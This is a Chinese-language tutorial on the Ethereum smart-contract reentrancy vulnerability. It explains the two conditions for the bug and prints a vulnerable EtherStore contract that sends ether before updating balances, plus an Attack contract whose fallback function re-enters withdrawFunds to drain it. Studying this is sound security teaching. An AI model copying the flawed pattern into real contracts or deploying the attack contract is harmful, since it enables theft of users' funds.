漏洞概述 在以太坊中,智能合约能够调用其他外部合约的代码,由于智能合约可以调用外部合约或者发送以太币,这些操作需要合约提交外部的调用,所以这些合约外部的调用就可以被攻击者利用造成攻击劫持,使得被攻击合约在任意位置重新执行,绕过原代码中的限制条件,从而发生重入攻击。重入攻击本质上与编程里的递归调用类似,所以当合约将以太币发送到未知地址时就可能会发生。
简单的来说,发生重入攻击漏洞的条件有 2 个:
①调用了外部的合约且该合约是不安全的
②外部合约的函数调用早于状态变量的修改
假设:智能合约A有函数F1,攻击合约B有函数F2。F1功能是向消息发送方转账,或者调用消息发送方的特定函数,B就有可能利用重入进行攻击。
contract EtherStore{
uint256 public withdrawaLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds (uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);
//限制取回金额不能超过1ether
require(_weiToWithdraw <= withdrawaLimit);
//限制每周取一次
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
require(msg.sender.call.value(_weiToWithdraw)());
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
}
}
攻击合约:
import "EtherStore";
contract Attack{
EtherStore public etherStore;
//EtherStore合约地址作为构造参数来创建攻击该合约
constructor(address _etherStoreAddress){
etherStore = EtherStore(_etherStoreAddress);
}
function pwnEtherStore() public payable{
//发起攻击需要启动资金
require(msg.value >= 1 ether);
//调用depositFunds函数充值
etherStore.depositFunds.value(1 ether)();
//启动攻击
etherStore.withdrawFunds(1 ether);
}
function collectEther() public {
msg.sender.transfer(this.balance);
}
//fallback 函数 秘密所在
function () payable {
if (etherStore.balance > 1 ether) {
etherStore.withdrawFunds(1 ether);
}
}
}